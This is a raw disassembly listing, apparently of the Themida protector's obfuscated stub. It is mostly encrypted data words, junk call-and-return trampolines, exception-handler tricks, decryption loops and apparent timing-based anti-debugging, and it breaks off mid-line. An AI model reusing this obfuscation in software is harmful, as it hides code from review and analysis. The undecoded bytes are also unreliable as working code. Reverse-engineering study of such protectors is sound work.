sub_5821BE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5821BE proc near ; CODE XREF: Themida_:005821B6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5821BE endp ; --------------------------------------------------------------------------- das and al, 99h fstp dword ptr [ebp-72B80BC3h] mov bx, cx lea eax, [ebp+60E9293h] push ebx mov edi, [ebp+60B1F51h] pop ebx push eax mov bx, 1870h mov [esp], eax movsx ebx, bx push large dword ptr fs:0 jnp loc_582202 mov bh, ch loc_582202: ; CODE XREF: Themida_:005821FAj mov large fs:0, esp push 0 push eax call sub_582214 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582214 proc near ; CODE XREF: Themida_:0058220Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_582214 endp ; --------------------------------------------------------------------------- dd 0F7812A6Fh, 50DBDB5Eh, 66D85FFh, 6A060Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 1FC5E3C3h dd 0AC008A85h, 6AFF6AC4h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 1A72C355h, 0E8BBEB42h dd 11h, 0D4C11844h, 78454407h, 57F7023Fh, 0D9402530h, 0B5FF5B26h dd 60B1B7Dh, 2719589h, 95FF060Bh, 60B2411h, 12EE9h, 2648BF00h dd 0B00955h, 0E6D88B66h, 0E8FE8B70h, 7, 0F87003D7h, 3FD2DF2h dd 0B18999Dh, 71E45F06h, 1A35BD8Bh, 60BF060Bh, 3C2FF8A8h dd 0F8830F61h, 89000000h, 0B297185h, 0C8B60F06h, 0CE8h dd 49A07F00h, 713B040Eh, 42CD23B6h, 5FFE8BD4h, 6E9h, 32A40900h dd 0BA4E856Bh, 6, 58EF8166h, 8BC18B77h, 0B2A3D9Dh, 4E8C106h dd 1EDB8166h, 0E2F7663Dh, 3ACB8152h, 5F12BFE7h, 9D8BC82Bh dd 60B2131h, 0A422F381h, 0D18B65E2h, 13E9F88Bh, 0E9000000h dd 0Ah, 0B04454AAh, 3DAE4EDAh, 0BF664587h, 858BA8FCh, 60B15E1h dd 75FBF66h, 8B07C083h, 0B087D9Dh, 0BD8B5706h, 60B18E5h dd 0C0835Bh, 15718D31h, 9D8B060Bh, 60B059Dh, 830FD03Bh dd 13h, 2B39BD89h, 44E9060Bh, 89000000h, 0B04119Dh, 8BA6B306h dd 0B1A9D8Dh, 4880F06h, 66000000h, 83DCBCBFh, 840F01E1h dd 23h, 800Fh, 0A5830000h, 60B1A9Dh, 8A0FFEh, 89000000h dd 0B15E195h, 0EF816606h, 0E9BC95h, 8D000000h, 0EE370B5h dd 9870F06h, 60000000h, 2F558D29h, 61F8060Bh, 820F006Ah dd 6, 0E35BD89h, 95FF060Bh, 60B32DDh, 19820Fh, 14E90000h dd 63000000h, 1247837Dh, 0C2FA0048h, 2319B0D9h, 41BEA01Eh dd 0B9328EF1h, 86Ch, 0FCE183F8h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 63CE4870h dd 0AE8h, 0DCEB8D00h, 5BE4A752h, 0FBB256Dh, 388h, 0FEBF0F00h dd 13E95Fh, 533B0000h, 0EAC41C57h, 86CB5AF4h, 0D2BC7067h dd 0E794D2B5h, 6AC02BEFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0CCB6C355h, 66DF8B51h dd 9F0FDB81h, 0BAh, 158D8900h, 0AD060B14h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 798C351h, 3CB7F48h dd 0B07419Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E88FAD52h, 0Dh, 4565D40Fh, 93EE47BFh dd 74AEC7B1h, 15BD892Fh, 5F060B2Eh, 880Dh, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 89CB4D0Dh, 0B1A1985h, 4D958B06h, 89060B17h, 0B1935B5h dd 198D8B06h, 6A060B01h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 7A54C352h, 50FA8BFFh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 7AC843C8h, 8B94280Bh, 0E3BF66FAh, 0BDBD838Dh, 60B29h dd 91840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 669B68C3h, 511C24BBh, 17D59D8Bh dd 0B85F060Bh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5825EB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5825EB proc near ; CODE XREF: Themida_:005825E3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5825EB endp ; --------------------------------------------------------------------------- db 0B7h dd 42B903EEh, 0ABBC888h, 8D716E20h, 0B4DD78Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E9870E0Ah, 0Fh, 9C3717FCh, 91358DD7h, 481403Dh, 0FF853D74h dd 83DD8AE1h, 0B1009BDh, 840F0006h, 489h, 9BD83F9h, 1060B10h dd 496840Fh, 0F600000h, 281h, 315A5100h, 0B13D9BDh, 9D0B6106h dd 60B28A5h, 1009BD83h, 0F03060Bh, 43D86h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 6A6033h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 6EA8E3C3h, 850F5258h, 6, 0B89B501h, 8C66060Bh dd 0DD9D89D9h, 80060B04h, 0BF0F04E1h, 0FC90AFEh, 12484h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 10E9D0h, 0B8C70000h, 0C6F6C5E8h, 2BBB374Ch dd 7CBB0A47h, 858B5667h, 60B317Dh, 0FE8h, 0BD14FA00h, 1B5F73B7h dd 0A7FA7FB1h, 0A0FCEDCh, 335FD88Bh, 0B06ED85h, 8B669006h dd 319050FAh, 0B28299Dh, 0F006A06h, 685h, 318D8900h, 0E8060B0Bh dd 4, 1F03FFh, 0AE9h, 2DBFAB00h, 59481168h, 50A136ECh dd 0F2F7F3BFh, 24448B17h, 50008B04h, 50310F52h, 0F88B6652h dd 5250310Fh, 585A310Fh, 585A585Ah, 4244489h, 0CBB1BF66h dd 71D3BB58h, 14E92654h, 2D000000h, 7580E0E8h, 6365829Fh dd 9F69EA3h, 5BAE0413h, 0FF8B35FFh, 0B03D195h, 0AE906h dd 91D00000h, 0CE905D72h, 41D2F0BBh, 0A81D8589h, 0BE9060Eh dd 22000000h, 8F1F35Bh, 58283F1Eh, 3DE9927Ch, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 1952C351h, 66002C1Dh, 8B66DF8Bh, 15858BD9h dd 0E9060EA8h, 0Bh, 6807787Dh, 221680ABh, 0C779589Bh, 1800h dd 8BDD8A00h, 0EA819B5h, 5FDFBF06h, 858B0809h, 60B06E1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0EAC35747h dd 1161724Dh, 0CBE9E987h, 8E96Fh, 0B480000h, 55A4DAE6h dd 689551Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 68C35646h, 858BF010h, 60B317Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 30C35343h, 810F5064h dd 6, 0B599D23h, 6660060Bh, 0F5A81B9h, 68Eh, 999D8900h dd 61060B29h, 8B044689h, 0B0E6D9Dh, 0DF816606h, 0F96C5CEh dd 0E8Ch, 50525000h, 5A310F52h, 60310F58h, 50585A61h, 66F78B60h dd 619DBFBAh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 83BF21D3h, 0FF0A6609h, 0EA815B5h dd 91BD8906h, 31060B05h, 0B1A1185h, 4E806h, 3FF0000h, 0BF66001Fh dd 0E9506CC6h, 7, 25280296h, 8BE46D48h, 50042444h, 0C18A6052h dd 8F0Fh, 0F610000h, 0F525031h, 0D678BB31h, 585A547Ah dd 8B585Ah, 4244489h, 0FBC3BB66h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 9149ED74h dd 85895369h, 60B2225h, 0EE85Bh, 8EB0000h, 0F60D09C8h dd 0AB7C5FBEh, 88E40604h, 0BE960h, 20150000h, 8FFB44FDh dd 0B6536CAEh, 6161608Dh, 1D858D5Bh, 6A060EA8h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 1DB8C356h, 8141B375h, 98B981DFh, 5E85058h, 8000000h dd 6F27BAA7h, 6880Fh, 8E0F0000h, 0 ; --------------------------------------------------------------------------- pop edi mov [esp], eax add [ebp+60B2EF5h], edi mov ebx, [ebp+60B1A85h] call dword ptr [ebp+60B03D1h] mov [ebp+60B007Dh], ecx popa movsx ebx, si mov dword ptr [ebp+60B1009h], 3 push 0 push ecx call sub_582A35 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582A35 proc near ; CODE XREF: Themida_:00582A2Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_582A35 endp ; --------------------------------------------------------------------------- db 2 dup(71h), 6Ch ; --------------------------------------------------------------------------- cmp al, 5Fh push 0FFFFFFCEh mov [ebp+60B087Dh], eax sub [ebp+60B19F5h], ebx cmp dword ptr [ebp+60EA81Dh], 0 jz loc_582ABE push 0 push eax call sub_582A70 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582A70 proc near ; CODE XREF: Themida_:00582A68p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_582A70 endp ; --------------------------------------------------------------------------- add bl, [edi+45FD5349h] mov bh, cl jmp loc_582AD9 ; --------------------------------------------------------------------------- push 0 push edx call sub_582A98 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582A98 proc near ; CODE XREF: Themida_:00582A90p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_582A98 endp ; --------------------------------------------------------------------------- dd 0F5D10209h, 0D7ECD87h, 820F1B25h, 6, 0B9BB6652h ; --------------------------------------------------------------------------- cmpsd pop ebx loc_582ABE: ; CODE XREF: Themida_:00582A5Fj ; Themida_:00582AD5j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_582ABE jmp short loc_582B0F ; --------------------------------------------------------------------------- loc_582AD9: ; CODE XREF: Themida_:00582A88j ; Themida_:00582AF0j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_582AD9 jmp short loc_582B0F ; --------------------------------------------------------------------------- loc_582AF4: ; CODE XREF: Themida_:00582B0Bj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_582AF4 jmp short $+2 loc_582B0F: ; CODE XREF: Themida_:00582AD7j ; Themida_:00582AF2j mov eax, eax mov [ebp+60B0915h], ebx mov bh, 5Ah cmp dword ptr [ebp+60B1009h], 3 jnz loc_582F97 push 0 push edi call sub_582B31 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582B31 proc near ; CODE XREF: Themida_:00582B29p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_582B31 endp ; --------------------------------------------------------------------------- db 1Eh, 0E7h, 89h dd 1F4286ECh, 830CDB80h, 0EA81DBDh, 840F0006h, 43Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0FFC35242h, 0E6BDBDEAh dd 2E8D9D8Bh, 0B5FF060Bh, 60EA81Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 20C35242h, 0BB66A64Ah, 95FFB723h dd 60B083Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 44C35646h, 0D287342Fh, 11B58B5Eh, 6A060EA8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0FB9BC351h, 0AF742E94h, 0D2296855h, 1D88B66h, 0B29B9B5h dd 106C706h, 6A000100h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 1420C350h, 12E823h dd 0E25C0000h, 0ADF7E0Fh, 0FCADC123h, 53A458C0h, 283C87EEh dd 1F618501h, 8B5F060Bh, 0F88B96DFh, 0B6606050h, 0C88B666Bh dd 0C18B6661h, 81669661h, 898A54D7h, 0B12898Dh, 1DB5FF06h dd 0E8060EA8h, 12h, 0A268488Ah, 231EE4BCh, 0C025B075h dd 0E4C098ABh, 0B5312DD2h, 60B0305h, 4195FF5Bh, 0E8060B06h dd 0Dh, 30EB0133h, 0EF95BCE9h, 0E27FE905h, 84DF8060h, 11B58B5Fh dd 6A060EA8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 5CAEC351h, 0B70FDE8Bh, 1D858BFBh dd 0F060B12h, 581h, 3193BB00h, 86891950h, 0C4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E7C35242h, 32359529h dd 958B060Bh, 60B174Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0F1C35747h, 0FB5708F0h, 8CB8110h, 835AD1E0h dd 0F98B04C2h, 6A205089h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 66C2C352h, 90DE781h dd 0BAEE858Dh, 890F060Eh, 6, 135D8D29h, 8689060Bh, 0B8h dd 6AFA8B66h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 21085A9Bh, 3B795266h, 1DB5FF94h dd 89060EA8h, 0B0B1195h, 0EE906h, 0E8E10000h, 71B8B6C4h dd 8AD1B115h, 50F936D4h, 0F1595FFh, 0B70F060Bh, 525096F8h dd 0BE9h, 6078D000h, 0D9B63761h, 53AB890Ch, 0F88B310Fh dd 0F50585Ah, 28Dh, 96FB8B00h, 10860Fh, 0BE90000h, 0F0000000h dd 0B6F34A67h, 0C53CD26Dh, 0B5FFCE12h, 60EA81Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A7C35646h, 829B1C5Ch dd 9C947189h, 0D776FABFh, 0F595FF0Fh, 89060B00h, 0B00058Dh dd 91BD8306h, 60B21h, 2A840Fh, 6FBB0000h, 50672527h, 68B75051h dd 34895B5Bh, 66576024h, 575BC681h, 5D958B5Ah, 61060B33h dd 6800Fh, 0F7810000h, 2BCE559h, 0A81DB5FFh, 0AE8060Eh dd 0FF000000h, 0EFA5B75Fh, 54988F15h, 0B58D8972h, 5B060B29h dd 128195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 8BA211C3h, 5F45C5C1h, 1235BD8Bh dd 0FE8060Bh, 5000000h, 0AA157076h, 454EA24h, 0C6AF0F19h dd 9589D1FBh, 60B17CDh, 1DB5FF5Bh, 60060EA8h, 2DD9D31h dd 0BD89060Bh, 60B0715h, 8D95FF61h, 6A060B0Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0E801C353h, 14h, 6C46973Eh, 0A5E94ABh, 2BC7A47Ch, 39F7C93h dd 0E32E5D78h, 21899D8Bh, 835F060Bh, 0B17F1BDh, 840F0206h dd 2Dh, 6890Fh, 0BD890000h, 60B1649h, 2EC5858Bh, 6660060Bh dd 0F1C14BAh, 685h, 898D8900h, 61060B1Fh, 8B0000C6h, 0B0F719Dh dd 0B985C706h, 60B06h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 72EC357h dd 0B7E8BA0Eh, 8C0F3EB4h, 3 ; --------------------------------------------------------------------------- movzx edi, si loc_582F97: ; CODE XREF: Themida_:00582B20j jmp near ptr dword_582224+31h ; --------------------------------------------------------------------------- pusha mov [ebp+60B2125h], ebx mov [ebp+60B31A5h], ecx popa mov eax, ecx push 0 push eax call sub_582FB7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_582FB7 proc near ; CODE XREF: Themida_:00582FAFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_582FB7 endp ; --------------------------------------------------------------------------- jo short near ptr loc_582FEE+1 mov edi, esi push edi jmp loc_582FD7 ; --------------------------------------------------------------------------- db 77h, 1Fh, 47h db 0Eh, 0FAh, 0C0h ; --------------------------------------------------------------------------- loc_582FD7: ; CODE XREF: Themida_:00582FCCj pop edi lea eax, [ebp+60B28A9h] push esi call sub_582FF4 jnb short near ptr loc_583024+5 lds edi, [edi-5B912339h] cdq pop ecx loc_582FEE: ; CODE XREF: Themida_:00582FC7j mov ds:4CBEE58Ch, eax ; --------------------------------------------------------------------------- db 8Fh ; =============== S U B R O U T I N E ======================================= sub_582FF4 proc near ; CODE XREF: Themida_:00582FDFp mov di, dx pop edi pop ebx push eax call near ptr loc_58300B+1 push edx wait test al, 0D6h lock out 7Bh, eax push edx cld pop ds mov dl, 0B2h loc_58300B: ; CODE XREF: sub_582FF4+6p mov dword ptr [esi-41h], 895BE181h sub_582FF4 endp ; sp-analysis failed add al, 24h push 0 push ebx call sub_58301F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58301F proc near ; CODE XREF: Themida_:00583017p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx loc_583024: ; CODE XREF: Themida_:00582FE4j add [esp-4+arg_4], 15h inc ebx push ebx retn sub_58301F endp ; --------------------------------------------------------------------------- db 0E2h dd 3DB50144h, 8B060B2Ah, 0B15299Dh, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 34D6C356h, 0D36C2E7Ch, 0E8006A47h, 12h, 0B35EAF97h dd 931E142Dh, 2D6632E1h, 57DC569h, 8D5BEE7Fh, 0F718885h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 5E4D9E88h, 0FA8C22C1h, 5D9D8BB6h, 83060B07h dd 7CBB05C0h, 900F7FEAh, 61606060h, 0F234BF66h, 61F38B61h dd 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0FBD09FC3h, 60A0988Bh, 898D8960h, 0F060B21h dd 8Bh, 0C1806100h, 6A6184h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0EDC35242h, 643D8DEFh, 69BB718Fh dd 6A4CCC3Fh, 99DB8100h, 6061910Fh, 81663AB3h, 6112A1CAh dd 2F2195FFh, 0CB81060Bh, 38CA0163h, 0A7B08D8Dh, 6A060Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8BA9A1C3h, 0B0C0D9Dh, 6AD1FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0BE63C352h dd 892EF322h, 0B22F595h, 6E806h, 0D8510000h, 7FDE250Eh dd 835BFB8Bh, 0B0B19BDh, 850F0106h, 84h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 7CC35141h, 0D4C11844h dd 78454407h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 899326C3h, 810F5020h, 8, 28D0Fh dd 61600000h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 4312C350h, 6688205Ah dd 95FFDF8Bh, 60B0F15h, 8C30BF66h, 0C98E9h, 0E800h, 815D0000h dd 0F7192EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0F3804CCEh, 0FFB70F92h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 8B14D7EDh dd 93858DDFh, 8B060E92h, 0B0415BDh, 65BB5006h, 89528DA7h dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 617763C3h, 0ADBF661Ch, 35FF642Dh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5832CB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5832CB proc near ; CODE XREF: Themida_:005832C3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5832CB endp ; --------------------------------------------------------------------------- db 86h ; --------------------------------------------------------------------------- mov large fs:0, esp inc dword ptr [ebp+60B066Dh] add edi, [ebp+60B18A1h] push 0FFFFFFFFh push 0 push esi call sub_5832FC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5832FC proc near ; CODE XREF: Themida_:005832F4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5832FC endp ; --------------------------------------------------------------------------- dd 36FBEDBEh, 5E8B6h, 0F02F0000h, 50E4DAA6h, 0CF9BD8Bh dd 5F5F060Bh, 2A41B5FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 5DAC87C3h, 1195FFF9h dd 0E9060B24h, 105h, 0EE9h, 57B0D700h, 442F54B3h, 0F1EF81ADh dd 0B04B9ACCh, 0DB816600h, 70E6B93Dh, 21DDB589h, 0EB81060Bh dd 28596202h, 3CFC71E4h, 0D2830F61h, 33000000h, 0B28F5BDh dd 0C8B60F06h, 0E45B589h, 6BA060Bh, 0F000000h, 0C18BFAB7h dd 7E9h, 6132EA00h, 616A2851h, 6604E8C1h, 28B3E2F7h, 9D8BC82Bh dd 60B2B41h, 0D381D18Bh, 783DF91Ch, 6E9h, 71BD8B00h, 8B060B24h dd 0B042D85h, 2422BB06h, 0C0833A0Fh, 8E96007h, 1C000000h dd 6096B030h, 8BFCC79Fh, 0C08361F3h, 61858900h, 3B060B2Fh dd 19830FD0h, 89000000h, 0B05C1BDh, 4FE906h, 9E90000h dd 0CD000000h, 0CA6D7E2Dh, 13E9819Fh, 29858D8Bh, 8589060Bh dd 60B0CA1h, 0F01E183h, 2C84h, 0EB816600h, 83F5019Bh, 0B2985A5h dd 880FFE06h, 0 ; --------------------------------------------------------------------------- clc mov [ebp+60B042Dh], edx jmp loc_583454 ; --------------------------------------------------------------------------- dd 0D25875Dh, 0EFACF9DAh ; --------------------------------------------------------------------------- loc_583454: ; CODE XREF: Themida_:00583447j jmp $+5 lea esi, [ebp+60EEDC0h] jmp loc_583473 ; --------------------------------------------------------------------------- dd 70A8B3Dh, 56A0866Ah, 8F1E9869h ; --------------------------------------------------------------------------- or ebp, [edi+6Ah] loc_583473: ; CODE XREF: Themida_:0058345Fj push 0 and bl, 55h call dword ptr [ebp+60B32DDh] jmp loc_583493 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- mov eax, 0C6F6C5E8h dec esp aaa mov ebx, 0BB0A472Bh jl short loc_5834F9 push esi loc_583493: ; CODE XREF: Themida_:0058347Ej or [ebp+60B276Dh], eax mov ecx, 765h mov ebx, [ebp+60B1639h] and ecx, 0FFFFFFFCh push 0 push ecx call sub_5834B2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5834B2 proc near ; CODE XREF: Themida_:005834AAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5834B2 endp ; --------------------------------------------------------------------------- sub byte ptr [ebx], 0Ah cmpsd lodsb jge short near ptr loc_5834EE+1 mov edi, [ebp+60B175Dh] cld add di, 0F42h sub eax, eax mov ebx, 6B4B5D95h sub edx, edx push 0 push esi call sub_5834E9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5834E9 proc near ; CODE XREF: Themida_:005834E1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi loc_5834EE: ; CODE XREF: Themida_:005834C7j add [esp-4+arg_4], 18h inc esi push esi retn sub_5834E9 endp ; --------------------------------------------------------------------------- loc_5834F9: ; CODE XREF: Themida_:00583490j mov ebp, 5BCA4149h movzx ebx, si loc_583501: ; CODE XREF: Themida_:0058350Bj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_583501 push 0 push ecx call sub_583518 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583518 proc near ; CODE XREF: Themida_:00583510p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_583518 endp ; --------------------------------------------------------------------------- cmpsd mov dh, 0C9h test ds:95F505Ch, esi popf mov cl, 8 or eax, [esi] add [ebp+60B1829h], edx or eax, 88h push 0 push ebx call sub_58354D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58354D proc near ; CODE XREF: Themida_:00583545p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_58354D endp ; --------------------------------------------------------------------------- db 2, 9Bh, 78h dd 0BEF38105h, 8171DF95h, 2C5FD7EFh, 4D958B50h, 66060B17h dd 8D8BFE8Bh, 60B0119h, 1FD5BD8Bh, 8B50060Bh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 11CFBB66h, 83FE8B66h dd 0B29BDBDh, 840F0006h, 48h, 0D14BBB66h, 0B8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0E620587Ch, 0FCE8C891h, 4DD78D8Dh, 8160060Bh, 0F85264DFh dd 39953306h, 61060B2Bh, 9D89E1FFh, 60B249Dh, 1009BD83h dd 0F00060Bh, 43A84h, 0C5852900h, 83060B12h, 0B1009BDh dd 840F0106h, 442h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 3DC35242h, 0BD027DB0h, 2F3949C5h, 2890F93h dd 0B3000000h, 0D88B66DEh, 1009BD83h, 0F03060Bh, 3CF86h dd 1DBD8B00h, 60060B06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 37C35343h, 9BBF660Eh, 6810F41h, 31000000h dd 0B28D98Dh, 0D98C6606h, 0E804E180h, 10h, 0EDE2DA4Ch dd 0A2A05237h, 0B2E4A0C4h, 0F88D40D9h, 899D89h, 0A5F060Bh dd 83840FC9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 6717C356h, 7D858B8Bh dd 6A060B31h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 214C357h, 0C8DC49AEh, 9501D84Dh dd 60B2E61h, 68D0Fh, 9D030000h, 60B06F1h, 1EB98589h, 8533060Bh dd 60B06EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0E2C35747h, 0CEEE6834h, 9010C829h, 11E9507Bh, 0AC000000h dd 42CA7E00h, 851A473Bh, 1A21F447h, 0C179785Fh, 5250905Bh dd 6E9h, 0D32E0D00h, 0FD60DE9h, 2FBB6631h, 50585AE9h, 3DFC66BFh dd 850F9054h, 6, 5F59529h, 0BD8B060Bh, 60B279Dh, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5DEBCCC3h, 0EC5AF72Fh, 11E92E29h, 0B8000000h, 0DD204B7h dd 0CE7E1C51h, 5E1BB639h, 1BB5B5C7h, 9B94A468h, 81FA8BBCh dd 6F5B2404h, 0AE94383h, 9D000000h, 0C30A7F81h, 2C4C9543h dd 0D195FF21h, 60060B03h, 8BC18B66h, 806061F1h, 9D8B99C8h dd 60B13D5h, 1D858961h, 0E9060EA8h, 0Eh, 58EDDDC6h, 8BF2560Bh dd 84CA50F1h, 30BF0971h, 0E96DA14Eh, 189h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 26C35545h, 858B2A44h dd 60EA815h, 0D12AD6BBh, 1800C75Dh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 5975C350h, 0F04BBB97h, 0F9B589C2h, 8B060B31h, 0EA819B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 5263DE41h, 858B8C54h, 60B06E1h, 3381BD8Bh dd 689060Bh, 317D858Bh, 8B66060Bh, 44689DEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 38C35545h, 50080620h dd 9E960h, 48D40000h, 0DDF7A882h, 66311894h, 614C8FB8h dd 0B243489h, 0B1B919Dh, 959D8B06h, 